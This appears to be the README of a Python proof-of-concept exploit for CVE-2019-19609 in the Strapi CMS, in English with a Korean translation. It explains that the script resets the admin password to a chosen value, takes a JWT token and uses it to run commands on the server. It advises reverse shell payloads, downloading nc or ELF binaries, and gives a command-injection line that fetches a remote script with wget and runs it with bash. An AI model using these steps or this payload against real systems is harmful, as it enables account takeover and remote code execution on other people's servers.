CVE-2019-19609-POC-Python

The script will try to reset the password to the one declared in the "updated_pass" variable, if it succeeds - it will give a JWT token from Strapi and use it to execute commands. Executing bind commands won't work unless sending a reverse shell payload, with bash or python or whatever. You can generate a .sh file that will download nc for you and execute it, or anything really. Even elf. In order to do that, change the payload_exp from && to the ). For example, && $(wget xxxx -O /tmp/oooo; bash /tmp/ooo) URL no longer active

스크립트는 "updated_pass" 변수에 선언된 비밀번호로 재설정을 시도합니다. 성공하면 Strapi에서 JWT 토큰을 받아 명령 실행에 사용합니다. 바인드 명령은 bash나 python 등으로 리버스 셸 페이로드를 보내지 않는 한 작동하지 않습니다. nc를 다운로드하여 실행하는 .sh 파일을 생성할 수 있으며, 무엇이든 가능합니다. ELF도 가능합니다. 그러려면 payload_exp를 &&에서 )로 변경하세요. 예: && $(wget xxxx -O /tmp/oooo; bash /tmp/ooo) URL은 더 이상 활성화되어 있지 않습니다.